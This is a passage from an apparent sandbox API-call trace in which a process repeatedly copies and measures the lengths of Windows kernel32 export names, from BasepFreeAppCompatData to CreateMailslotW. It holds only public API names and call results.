returned="BasepFreeAppCompatData" [0115.471] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0115.471] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0115.471] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0115.471] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0115.471] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0115.471] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0115.471] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0115.471] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0115.471] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0115.471] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0115.472] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0115.472] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0115.472] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0115.472] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0115.472] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0115.472] lstrlenA (lpString="BEEP") returned 4 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0115.472] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0115.472] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0115.472] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0115.472] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0115.472] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0115.472] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0115.472] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0115.472] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0115.472] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0115.472] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0115.472] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0115.472] lstrlenA (lpString="CANCELIO") returned 8 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0115.472] lstrlenA (lpString="CANCELIOEX") returned 10 [0115.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0115.472] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0115.473] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0115.473] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0115.473] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0115.473] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0115.473] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0115.473] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0115.473] lstrlenA (lpString="CHECKELEVATION") returned 14 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0115.473] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0115.473] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0115.473] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0115.473] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0115.473] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0115.473] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0115.473] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0115.473] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0115.473] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0115.473] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0115.473] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0115.473] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0115.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0115.473] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0115.474] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0115.474] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0115.474] lstrlenA (lpString="CLOSESTATE") returned 10 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0115.474] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0115.474] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0115.474] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0115.474] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0115.474] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0115.474] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0115.474] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0115.474] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0115.474] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0115.474] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0115.474] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0115.474] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0115.474] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0115.474] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0115.474] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0115.474] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0115.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0115.475] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0115.475] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0115.475] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0115.475] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0115.475] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0115.475] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0115.475] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0115.475] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0115.475] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0115.475] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0115.475] lstrlenA (lpString="COPYCONTEXT") returned 11 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0115.475] lstrlenA (lpString="COPYFILE2") returned 9 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0115.475] lstrlenA (lpString="COPYFILEA") returned 9 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0115.475] lstrlenA (lpString="COPYFILEEXA") returned 11 [0115.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0115.475] lstrlenA (lpString="COPYFILEEXW") returned 11 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0115.476] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0115.476] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0115.476] lstrlenA (lpString="COPYFILEW") returned 9 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0115.476] lstrlenA (lpString="COPYLZFILE") returned 10 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0115.476] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0115.476] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0115.476] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0115.476] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0115.476] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0115.476] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0115.476] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0115.476] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0115.476] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0115.476] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0115.476] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0115.476] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0115.476] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0115.476] lstrlenA (lpString="CREATEEVENTA") returned 12 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0115.476] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0115.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0115.477] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0115.477] lstrlenA (lpString="CREATEEVENTW") returned 12 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0115.477] lstrlenA (lpString="CREATEFIBER") returned 11 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0115.477] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0115.477] lstrlenA (lpString="CREATEFILE2") returned 11 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0115.477] lstrlenA (lpString="CREATEFILEA") returned 11 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0115.477] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0115.477] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0115.477] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0115.477] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0115.477] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0115.477] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0115.477] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0115.477] lstrlenA (lpString="CREATEFILEW") returned 11 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0115.477] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0115.477] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0115.477] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0115.477] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0115.477] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0115.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0115.477] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0115.478] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0115.478] lstrlenA (lpString="CREATEJOBSET") returned 12 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0115.478] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0115.478] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, 